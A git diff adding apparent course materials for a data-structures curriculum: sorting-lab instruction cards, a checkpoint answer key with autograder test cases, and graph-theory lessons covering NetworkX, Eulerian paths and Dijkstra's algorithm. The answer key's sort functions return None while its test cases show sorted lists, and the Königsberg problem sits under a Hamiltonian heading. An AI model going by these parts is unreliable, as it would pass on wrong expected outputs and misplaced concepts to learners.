+**Step 8**: Now, we want to extract the name of the animal from the rest of the line. We index `noTabs` with the length of the list minus one, since the last element will be one less than the length value from the index value (the first index is 0).
+
+```python
+ lastElement = noTabs[len(noTabs) - 1]
+```
+
+**Step 9**: Assign the index as the key and the name of the animal as the value.
+
+```python
+ result[index] = lastElement
+```
+
+**Step 10**: Increase our counter by one as we iterate through the document, putting each animal in the dictionary.
+
+```python
+ index += 1
+```
+
+**Step 11**: Once the whole file is iterated through, return `result`, which is the dictionary we have created.
+
+```python
+ return result
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2-CHECKPOINT.md
new file mode 100644
index 00000000..621eaf01
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2-CHECKPOINT.md
@@ -0,0 +1,7 @@
+## Checkpoint 1: For `equations[]` and `main()` checkup
+
+Name: For `equations[]` and `main()` checkup
+
+Instruction: In a video, please explain how you coded the `equations[]` array, which should contain your scrambled equations and `main()`, and which should initialize your array and prompt the user to choose a sorting method. How do you check if the user inputs a random or invalid input?
+
+Type: Video
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2.md
new file mode 100644
index 00000000..4aae03cf
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/2.md
@@ -0,0 +1,63 @@
+
+
+
+
+
+
+
+
+Before the mess, your master list of animals ranked their population from highest to lowest, but didn't contain any information about their population growth equation. To link the animals with the equation, write an **array** in the order of your scrambled equations first.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Go ahead and write these equations into a Python **array** called `equations[]` in this particular order (this is the scrambled order). Initialize this array in your `main` function.
+
+At this point, prompt the user to input a type of sorting with the following request in `main()`.
+
+```python
+Please choose a sorting method:
+1.(Bubble) Sort
+2.(Insertion) Sort
+3.(Selection) Sort
+```
+You should validate all possible user inputs. The user is only allowed to enter the name of the sorting method or the integer associated with each method. If their input is invalid, you should print the message for another input, "Not a valid input, try again."
+
+Valid inputs would be:
+* `1` (this will select the bubble sort)
+* `insertion` (selects insertion sort)
+
+Examples of invalid input would be other sorting algorithms not mentioned above or some random input:
+* `Merge sort`
+* `I Love Coding`.
+* `10`
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/21.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/21.md
new file mode 100644
index 00000000..4771db60
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/21.md
@@ -0,0 +1,39 @@
+
+
+
+
+
+
+Take a look at the format given in the starter code:
+
+```python
+equations = [
+ n**2, # 0
+ 20n**2+5n+7, # 1
+ # 2 insert equation here
+ # 3 insert equation here
+ # 4 insert equation here
+ # 5 insert equation here
+ # 6 insert equation here
+ # 7 insert equation here
+ # 8 insert equation here
+ # 9 insert equation here
+ # 10 insert equation here
+ # 11 insert equation here
+ # 12 insert equation here
+ # 13 insert equation here
+ # 14 insert equation here
+ ]
+
+```
+
+**Step 1** `Transcribing equations`
+
+Fill in the rest of the rows by transcribing the equations given in Python equations. Don't forget to import the necessary **functions** from the **math** module.
+
+** Step 2 ** `Prompt for user input`
+
+As for **prompting** the user to pick a type of **sorting**, don't forget to use a `while` loop and check if any of the `input` matches exactly what counts as a valid answer.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/211.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/211.md
new file mode 100644
index 00000000..4eceb8b9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/211.md
@@ -0,0 +1,54 @@
+
+
+
+
+
+
+Writing the equations should be straightforward, the only tricky part may come from not importing the math module and its necessary equations.
+
+```python
+from math import log
+from math import sqrt
+```
+
+ Once you have that, you can start writing your `main` function. Have a `int` start at 1 as a temporary variable to write your equations.
+
+```python
+def main():
+ n = 1
+```
+Write your equations out as the following, try to do it yourself to get used to writing equations in Python.
+
+```python
+ equations = [
+ n**2,
+ 20*n**2+5*n+7,
+ n+log(n)+7,
+ 3**n,
+ log(n)/(n**2),
+ (n+1)/(sqrt(1+n**2)),
+ (n**n)/(sqrt(log(n**4))+10),
+ n*log(n**2),
+ 6**n,
+ sqrt(log(n)),
+ n**n,
+ n**3*log(n)+100,
+ sqrt(n**3),
+ n**3,
+ (n+1)/(sqrt(1+n**2))
+ ]
+```
+
+Now, we want to call our functions that we coded previously such as the `readFileintoDict()` and `assignRankings()`.
+
+```python
+ animals = readFileintoDict() # animals = {index : animalName}
+ranks = assignRankings(equations.copy()) # ranks = {index : rank}
+```
+We use a `for` loop to print each of the animals sorted according to the order of equations.
+
+```python
+for i in range(len(ranks)):
+ print(animals[ranks[i]])
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/212.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/212.md
new file mode 100644
index 00000000..0399a336
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/212.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+To code our input parsing part, we will have a boolean variable called `invalidInput` and initialize its value as `True`.
+
+```python
+invalidInput = True
+```
+Think about why we want to set this boolean value to `True` in the beginning and what it means before continuing forward.
+
+Initially, we would have the `invalidInput` variable to signify whether or not the user has given an invalid input. Because our user has not given any input (we did not prompt them for any), we would consider the input to be invalid and set the value to be `True`.
+
+The rest of this part will be enveloped in a while-loop that will stop once a valid input has been entered.
+
+
+
+```python
+while (invalidInput):
+```
+
+We print out the prompt for the user and set up the **input** to be taken in.
+
+```python
+ print("Please chose a sorting method:")
+ print("1.(Bubble) Sort")
+ print("2.(Insertion) Sort")
+ print("3.(Selection) Sort")
+ x=input("")
+```
+
+Following that are our **if-else** statements written according to the prompt. `If` any of these if statements are satisfied, we will set the boolean variable `invalidInput` to False. This means that our input is valid, therefore, we will terminate from the while-loop.
+
+If any of the prompt is not satisfied, then the `invalidInput` variable remains True and we will repeat the loop for the user prompt again.
+
+**note: ** remember what we are checking against in the user prompt. We want to receive the correct sorting algorithm of choice from the user. So our conditions should check if the user has inputted a valid sorting algorithm such as `"bubble"` or `"selection"` , or their resepective numbering `1` for bubble sort, `2` for insertion sort, etc. Anything else other than this should be considered an invalid input, thus why we have the `else` section for the condition.
+
+```python
+ while(invalidInput):
+
+ #write the user prompt here as mentioned before
+
+ if(x=="1"or x=="bubble"):
+ #perform bubble sort here
+ invalidInput=False
+ elif(x=="2"or x=="insertion"):
+ #perform insertion sort here
+ invalidInput=False
+ elif(x=="3"or x=="selection"):
+ #perform selection sort here
+ invalidInput=False
+ else:
+ print("Not a valid input, try again.")
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3-CHECKPOINT.md
new file mode 100644
index 00000000..9c726c82
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3-CHECKPOINT.md
@@ -0,0 +1,7 @@
+## Checkpoint 2: For `array` checkup
+
+ Name: For `array` checkup
+
+Instruction: Please submit your code for `bubbleSort`, `insertionSort`, and `selectionSort`. `main()` functions were provided to test those functions.
+
+Type: Autograder
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3.md
new file mode 100644
index 00000000..d97757f8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/3.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+Now that you have the files for both the animals and the equations, you can see which animal belongs to each equation through their end behavior and assign a rank to each of them based on growth rate value. End behavior is the behavior of the functions' graphs as they approach large values (also known as their **time complexity** or **Big O**).
+
+
+
+Once you have matched each equation to an animal, you will know the order of the equations from smallest to largest. Use this knowledge and create an array of numbers representing the descending order of magnitude in which the equations were given. If you have equation values `[10, 156, 20, 2]`, then create an array of `[3, 1, 2, 4]`, since:
+
+
+* `10` is the third largest number, so its rank is `3`
+* `156` is the largest number, so its rank is `1`
+* `20` is the second largest number, so its rank is `2`
+* `2` is the smallest number, so its rank is `4`
+
+Since this array of numbers maps with the animal names, use the dictionary and **print** out the order of animals linked to the order of equations given to confirm you stored them correctly. The order of animals printed out should match the order of the equations in the given data file.
+
+We want to sort this `array` using three different sort methods: **Bubble Sort**, **Insertion Sort**, and **Selection Sort** (as per lab policy D). Edit the print statements given in the starter code to accept the `array` as an **input** and **print** out each step of a **swap** or moving of the components.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/31.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/31.md
new file mode 100644
index 00000000..5461c883
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/31.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Bubble sorting compares adjacent elements per iteration before deciding to swap. Per comparison, they would swap only when the left neighbor is bigger than the right neighbor (assuming ascending order). This is when you want to print.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/311.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/311.md
new file mode 100644
index 00000000..224a0f76
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/311.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+We need to check pairs of elements. This is done in the **if-statement** within the **for-loop**.
+
+```python
+if (arr[j] > arr[j+1]):
+ arr[j], arr[j+1] = arr[j+1], arr[j]
+ print(arr)
+```
+
+The change occurs when this condition is satisfied.
+
+`arr[j]` represents the left element of the pair, while `arr[j+1]` represents the right element of the pair.
+
+If the left element is bigger than the right, then swap them because we want an ascending order. (If we wanted a descending order, just change that `>` symbol to a `<` symbol)
+
+That is how we print the array.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/32.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/32.md
new file mode 100644
index 00000000..1ec76f67
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/32.md
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+Each iteration, we designate an element as the **key** called `arr[j]` (each element gets to be the **key** starting from the leftmost element to the rightmost element).
+
+Within each iteration, for each element starting from the second element (since the first iteration's key is the first element and we don't have to compare the first element with itself), we shift all the previous elements greater than the key (`arr[j]`) one position forward in the array. These are the intermittent shifts; do not print these out. Instead, you want to print out the result after these intermittent shifts finish per element.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/321.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/321.md
new file mode 100644
index 00000000..34a56477
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/321.md
@@ -0,0 +1,30 @@
+
+
+
+
+
+
+```python
+j = i-1
+```
+
+`j` represents all the elements preceding `i`, one by one, meaning we will have to keep decrementing `j` until it hits 0. `key` will be our respective element (or the element we are comparing all `j` elements to).
+
+We do this in a **while-loop** and only for elements larger than our respective element `key`.
+
+To shift the element, we assign the element at `j` to `j + 1`.
+
+```python
+while j >= 0 and key < arr[j] :
+ arr[j + 1] = arr[j]
+ j -= 1
+```
+
+After all this shifting is done, we shift the final element, our respective element, forward.
+
+```python
+arr[j + 1] = key
+print(arr)
+```
+
+Now, all the intermittent shifting is done and the iteration is over. That is why we print out `arr` after these lines.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/33.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/33.md
similarity index 100%
rename from Module4_Labs/Lab7_Zoologist/Cards/33.md
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/33.md
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/331.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/331.md
new file mode 100644
index 00000000..1ce25a8d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Cards/331.md
@@ -0,0 +1,62 @@
+
+
+
+
+
+
+```python
+def selectionSort(arr):
+ # Traverse through all array elements
+ for i in range(len(arr)):
+
+ # Find the minimum element in remaining
+ # unsorted array
+ min_idx = i
+ for j in range(i+1, len(arr)):
+ if arr[min_idx] > arr[j]:
+ min_idx = j
+
+ # Swap the found minimum element with
+ # the first element
+ arr[i], arr[min_idx] = arr[min_idx], arr[i]
+ print(arr)
+```
+
+```python
+ # Traverse through all array elements
+ for i in range(len(arr)):
+```
+
+We work towards the end of the array, so all `i`'s that we've passed are finished and are not to be touched ever again because they are in their final position.
+
+Each iteration of the outer **for-loop**, we find the minimum iteration. We do this in another **for-loop** to show what's going on, but this could also be done using the `min()` function.
+
+```python
+ # Traverse through all array elements
+ for i in range(len(arr)):
+ # Find the minimum element in remaining
+ # unsorted array
+ min_idx = i
+ for j in range(i+1, len(arr)):
+ if arr[min_idx] > arr[j]:
+ min_idx = j
+```
+
+Now, we swap this minimum element that we found `arr[min_idx]` with the element at `i` to finalize its position.
+
+```python
+ # Traverse through all array elements
+ for i in range(len(arr)):
+ # Find the minimum element in remaining
+ # unsorted array
+ min_idx = i
+ for j in range(i+1, len(arr)):
+ if arr[min_idx] > arr[j]:
+ min_idx = j
+ # Swap the found minimum element with
+ # the first element
+ arr[i], arr[min_idx] = arr[min_idx], arr[i]
+ print(arr)
+```
+
+This was a swap! This means we should print out the array after it. Fortunately, that was the entire selection sort, so we are done!
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/checkpoint3_ans.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/checkpoint3_ans.py
new file mode 100644
index 00000000..6d78f56a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/checkpoint3_ans.py
@@ -0,0 +1,55 @@
+def bubbleSort(arr):
+ n = len(arr)
+
+ # Traverse through all array elements
+ for i in range(n):
+
+ # Last i elements are already in place
+ for j in range(0, n-i-1):
+
+ # traverse the array from 0 to n-i-1
+ # Swap if the element found is greater
+ # than the next element
+ if arr[j] > arr[j+1] :
+ arr[j], arr[j+1] = arr[j+1], arr[j]
+
+def insertionSort(arr):
+
+ # Traverse through 1 to len(arr)
+ for i in range(1, len(arr)):
+
+ key = arr[i]
+
+ # Move elements of arr[0..i-1], that are
+ # greater than key, to one position ahead
+ # of their current position
+ j = i-1
+ while j >=0 and key < arr[j] :
+ arr[j+1] = arr[j]
+ j -= 1
+ arr[j+1] = key
+
+def selectionSort(arr):
+ # Traverse through all array elements
+ for i in range(len(arr)):
+
+ # Find the minimum element in remaining
+ # unsorted array
+ min_idx = i
+ for j in range(i+1, len(arr)):
+ if arr[min_idx] > arr[j]:
+ min_idx = j
+
+ # Swap the found minimum element with
+ # the first element
+ arr[i], arr[min_idx] = arr[min_idx], arr[i]
+ print(arr)
+
+def main():
+ arr = [9, 12, 4, 19, 10, 3]
+ print('Original List: ', arr)
+ print('List sorted by Bubble Sort: ', bubbleSort(arr))
+ print('List sorted by Insertion Sort: ', insertionSort(arr))
+ print('List sorted by Selection Sort: ', selectionSort(arr))
+
+main()
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/test_cases_check3.py b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/test_cases_check3.py
new file mode 100644
index 00000000..5f9217f0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab7_Zoologist/Student Starter/Checkpoint/test_cases_check3.py
@@ -0,0 +1,53 @@
+"""
+Test Case 1
+def main():
+ arr = []
+ print('Original List: ', arr)
+ print('List sorted by Bubble Sort: ', bubbleSort(arr))
+ print('List sorted by Insertion Sort: ', insertionSort(arr))
+ print('List sorted by Selection Sort: ', selectionSort(arr))
+"""
+"""
+Test Case 1 - Results
+Original List: []
+List sorted by Bubble Sort: []
+List sorted by Insertion Sort: []
+List sorted by Selection Sort: []
+"""
+
+"""
+Test Case 2
+def main():
+ arr = [1, 2, 3]
+ print('Original List: ', arr)
+ print('List sorted by Bubble Sort: ', bubbleSort(arr))
+ print('List sorted by Insertion Sort: ', insertionSort(arr))
+ print('List sorted by Selection Sort: ', selectionSort(arr))
+"""
+
+"""
+Test Case 2 - Results
+Original List: [1, 2, 3]
+List sorted by Bubble Sort: [1, 2, 3]
+List sorted by Insertion Sort: [1, 2, 3]
+List sorted by Selection Sort: [1, 2, 3]
+"""
+
+
+"""
+Test Case 3
+def main():
+ arr = [9, 12, 4, 19, 10, 3]
+ print('Original List: ', arr)
+ print('List sorted by Bubble Sort: ', bubbleSort(arr))
+ print('List sorted by Insertion Sort: ', insertionSort(arr))
+ print('List sorted by Selection Sort: ', selectionSort(arr))
+"""
+
+"""
+Test Case 3 - Results
+Original List: [9, 12, 4, 19, 10, 3]
+List sorted by Bubble Sort: [3, 4, 9, 10, 12, 19]
+List sorted by Insertion Sort: [3, 4, 9, 10, 12, 19]
+List sorted by Selection Sort: [3, 4, 9, 10, 12, 19]
+"""
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/README.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/README.md
new file mode 100644
index 00000000..b3d80bef
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/README.md
@@ -0,0 +1,17 @@
+# github_id
+1
+
+# name
+Data Structures Week 2
+
+# description
+The purpose of this module to provide curriculum that will build on the data structures knowledge the students gained in the previous week. This module contains four activities that cover Linked Lists, Graphs, Binary Heaps, and Trees. This week also includes two labs that cover the nColorable problem and a Maze Solver program that uses the stack data structure. Overall, this week will provide the students with useful data structures knowledge.
+
+# gems_needed
+400
+
+# image
+
+
+# image_folder
+Module4.2_Intermediate_Data_Structures/images
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/images/whiteboard.jpeg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/images/whiteboard.jpeg
new file mode 100644
index 00000000..272f61f2
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/images/whiteboard.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/1.md
new file mode 100644
index 00000000..bec77323
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/1.md
@@ -0,0 +1,50 @@
+
+
+
+
+
+
+## Graphs
+
+A graph is a collection of *nodes* and *edges* that represents relationships:
+
+- **Nodes** are vertices that correspond to objects.
+
+- **Edges** are the connections between objects.
+
+- The graph's edges sometimes have **weights**, which indicate the strength (or some other attribute) of each connection between the nodes.
+
+ Graphs provide us with a very useful data structure. They can help us to find structure within our data. With the advent of machine learning and big data, managing and manipulating our data has never been more important. Learning a little bit of graph theory will help us with that.
+
+ Note that trees are a kind of graph. They are undirected, connected graphs without cycles.
+
+### Python Code:
+
+> In order for this to work, you need to install the modules `networkx` and `matplotlib`.
+>
+> Open terminal and run the statements `pip3 install networkx` and `pip3 install matplotlib`.
+
+NetworkX is a Python library for graphs and networks. Similarly, Matplotlib is a plotting library in Python. With Matplotlib, you can generate plots, bar charts, or histograms with just a few lines of code. We can use Matplotlib to draw graphs.
+
+We can create a Path Graph with linearly connected nodes with the method `path_graph()`. The Python code uses `matplotlib` and `pyplot` to plot the graph. We will give detailed information on `matplotlib` at a later stage in this activity. For now, follow this code to print out nodes and edges, and save your graph to a local image:
+
+```python
+import networkx as nx #set shortcut for networkx
+import matplotlib.pyplot as plt #set shortcut for matplotlib.pyplot
+
+G = nx.path_graph(4) #Return a path graph G of 4 nodes linearly connected by 4-1 edges
+
+print("Nodes of graph: ")
+print(G.nodes()) #return a list of all the nodes in the graph
+print("Edges of graph: ") #nx.draw(G,with_labels=True)
+print(G.edges()) #return a list of all the edges
+nx.draw(G) #Draw the graph G with Matplotlib
+plt.savefig("path_graph1.png") #save the current figure as "path_graph1.png"
+plt.show() # display the graph
+```
+
+The created graph is an undirected linearly connected graph connecting the integer numbers 0 to 3 in their natural order:
+
+You can use `nx.draw(G,with_labels=True)` to show the labels on the nodes. Note that the direction of the graph doesn't matter.
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/10.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/10.md
new file mode 100644
index 00000000..b833082e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/10.md
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+**Step 5**: Now, we need to implement our algorithm.
+
+```python
+def dijsktra(graph, initial, end):
+ # shortest paths is a dict of nodes
+ # whose value is a tuple of (previous node, weight)
+ shortest_paths = {initial: (None, 0)}
+ current_node = initial
+ visited = set()
+```
+
+> Here, we initialized the Dijkstra's algorithm function (Step 1 and 2 from the previous slides.) Instead of an unvisited set, we use a visited set this time.
+>
+> For example:
+>
+> current_node = a
+>
+> ###### visited set = {}
+>
+> | | a | b | c | d |
+> | -------- | --------- | --------- | --------- | --------- |
+> | visited? | unvisited | unvisited | unvisited | unvisited |
+> | distance | 0 | ∞ | ∞ | ∞ |
+
+
+
+```python
+ while current_node != end: # do it recursively, until the destination node is reached
+ visited.add(current_node) # set current_node as visited
+ destinations = graph.edges[current_node]
+ weight_to_current_node = shortest_paths[current_node][1]
+
+ for next_node in destinations:
+ weight = graph.weights[(current_node, next_node)] + weight_to_current_node
+ if next_node not in shortest_paths:
+ shortest_paths[next_node] = (current_node, weight)
+ else:
+ current_shortest_weight = shortest_paths[next_node][1]
+ #If the distance is smaller than what the node already has, update the distance of the node.
+ if current_shortest_weight > weight:
+ shortest_paths[next_node] = (current_node, weight)
+```
+
+> Recall Step 3 from the previous card: For the current node, consider all of its unvisited neighbors and calculate their *tentative* distances through the current node. Compare the newly calculated *tentative* distance to the current assigned value and assign the smaller one.
+>
+> Recall Step 6 from the previous card: Select the unvisited node marked with the smallest tentative distance, set it as the new "current node", and go back to step 3.
+>
+> Here, we made a code that calculates the distance between nodes and compares it with its neighbors. We then append the shortest distance path to a list. By doing so, we are repeating the process of both Step 3 and Step 6 from the previous card.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/11.md
new file mode 100644
index 00000000..f669b5d7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/11.md
@@ -0,0 +1,50 @@
+
+
+
+
+
+
+```python
+next_destinations = {node: shortest_paths[node] for node in shortest_paths if node not in visited}
+ if not next_destinations:
+ return "Route Not Possible"
+ # next node is the destination with the lowest weight
+ current_node = min(next_destinations, key=lambda k: next_destinations[k][1])
+```
+
+> Recall Step 4 from the previous card: When we are done considering all unvisited neighbors of the current node, mark it as "visited" and remove it from the *unvisited set*. A visited node will never be checked again.
+>
+> Here the code checks for if the node has been visited or not.
+
+```python
+# Work back through destinations in shortest path
+ path = []
+ while current_node is not None:
+ path.append(current_node)
+ next_node = shortest_paths[current_node][0]
+ current_node = next_node
+ # Reverse path
+ path = path[::-1]
+ return path
+```
+
+> Recall Step 5 from the previous card: If the destination node has been marked visited (when planning a route between two specific nodes) or if the smallest tentative distance among the nodes in the *unvisited set* is infinity (when planning a complete traversal, this occurs when there is no connection between the initial node and remaining unvisited nodes), then stop. The algorithm has finished.
+>
+> Here, we check the node by using a while-loop and see if it is in None or not. If it is not in None, we append it to the list called "path."
+
+**Step 6**
+
+```python
+print(dijsktra(graph, 'r', 'e'))
+```
+
+> We use the comment print to show the graph.
+
+ Output:
+
+``['r', 'a', 'f', 'n', 'e']``
+
+Now, we have confirmation that the shortest path from X to Y is:
+
+**r -> a -> f -> n -> e**
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/2.md
new file mode 100644
index 00000000..84d9efa5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/2.md
@@ -0,0 +1,44 @@
+
+
+
+
+
+
+## Undirected Graphs
+
+Undirected graphs have edges that do not have a direction. The edges indicate a *two-way* relationship, in that each edge can be traversed in both directions. This figure below shows a simple undirected graph. The absence of an arrow tells us that the graph is undirected.
+
+
+
+> The graph can be traversed from node **A** to **B** and vice versa.
+
+
+
+
+
+> Undirected Graph
+
+
+
+### Python Code:
+
+```python
+import networkx as nx
+import numpy as np
+import matplotlib.pyplot as plt
+
+G = nx.Graph() #Create an empty graph with no nodes and no edges.
+G.add_edges_from(
+ [('A','B'),('B','C'),('C','D'),('D','E')]) #add edge AB, BC, CD, DE
+
+nx.draw(G) #Draw the graph G with Matplotlib
+plt.show() # display the graph
+```
+
+> add_edge: Add an edge between u and v. The nodes u and v will be automatically added if they are not already in the graph. Edge attributes can be specified with keywords or by providing a dictionary with key/value pairs.
+
+
+
+### Output:
+
+ 
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/3.md
new file mode 100644
index 00000000..fe60f27a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/3.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+## Eulerian Paths and Eulerian Cycles
+
+A **path** in a graph is a sequence of vertices that are connected by edges. It's a specific route you take when traversing the graph.
+
+A **cycle** in a graph is a path that starts and ends at the same vertex.
+
+A graph is Eulerian if it has a Eulerian cycle and semi-Eulerian if it has a Eulerian path.
+
+A **Eulerian path** visits every edge only once, but can revisit the vertices. You may start from one vertex and end the path with another.
+
+A **Eulerian cycle** is a Eulerian path that starts and ends at the same vertex.
+
+Note that not all graphs have Eulerian paths or cycles.
+
+ The **degree** of a vertex is the number of edges that are incident to the vertex.
+
+Euler found that graphs can have **Eulerian cycles** if and only if all vertices have even degrees.
+
+If two vertices have odd degrees and all other vertices have even degrees, then the graphs have a **Eulerian path**.
+
+
+
+ Example of a **Eulerian Path**:
+
+
+
+The graph has a **Eulerian path**, but no **Eulerian cycle** . Note that the `A ` and `C` have odd degrees.
+
+
+
+ Example of a **Eulerian Cycle**:
+
+
+
+This is an example of a **Eulerian cycle**. All the vertices have an even degree. Follow the path `C` `A` `B` `C` `D` `E` `C`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/4.md
new file mode 100644
index 00000000..f27aec3c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/4.md
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+## Hamiltonian Paths and Hamiltonian Cycles
+
+Instead of focusing on edges, we are going to focus on vertices.
+
+A **Hamiltonian path** visits every vertex once.
+
+A **Hamiltonian cycle** is a Hamiltonian path that begins and ends at the same vertex.
+
+
+
+**Königsberg Bridge Problem**
+
+There are seven bridges in the city. We want to know if it's possible to cross all the seven bridges once and walk through the whole city.
+
